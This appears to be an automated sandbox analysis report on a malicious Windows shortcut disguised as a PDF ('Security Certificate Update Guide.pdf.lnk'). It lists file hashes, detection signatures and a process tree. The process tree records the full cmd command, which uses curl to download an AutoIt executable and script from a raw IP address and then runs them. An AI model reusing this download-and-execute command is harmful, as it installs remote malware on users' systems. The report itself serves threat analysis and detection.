Analysis

  • max time kernel
    122s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    14/09/2023, 12:33

General

  • Target

    Security Certificate Update Guide.pdf.lnk

  • Size

    1KB

  • MD5

    3fb9fd77754aa0c99c7d7d1a71bc4216

  • SHA1

    af30bf87d826912b06b62306864eb0bb5701636e

  • SHA256

    aa82b70acc6f8acb4fefa6ca5af6cbd3b33cc18801e2d205c05d182553812309

  • SHA512

    f8ac10c231f8ffe9e1e0e7456ba718bca35fa0a0cd1e8dad9d0267549567c6861261e677c1478c62096bfe3371aa4e11bc8f34037e74b97800339f6661002b1d

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Security Certificate Update Guide.pdf.lnk"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2980
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k curl -# -o "C:\Users\Admin\AppData\Local\Temp\Autoit3.exe" "http://5.188.87.58:2351" -o "C:\Users\Admin\AppData\Local\Temp\bmyzwoxl.au3" "http://5.188.87.58:2351/msibmyzwoxl" & "C:\Users\Admin\AppData\Local\Temp\Autoit3.exe" "C:\Users\Admin\AppData\Local\Temp\bmyzwoxl.au3" & exit
      2⤵
        PID:2748

    Network

          MITRE ATT&CK Enterprise v15

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          Downloads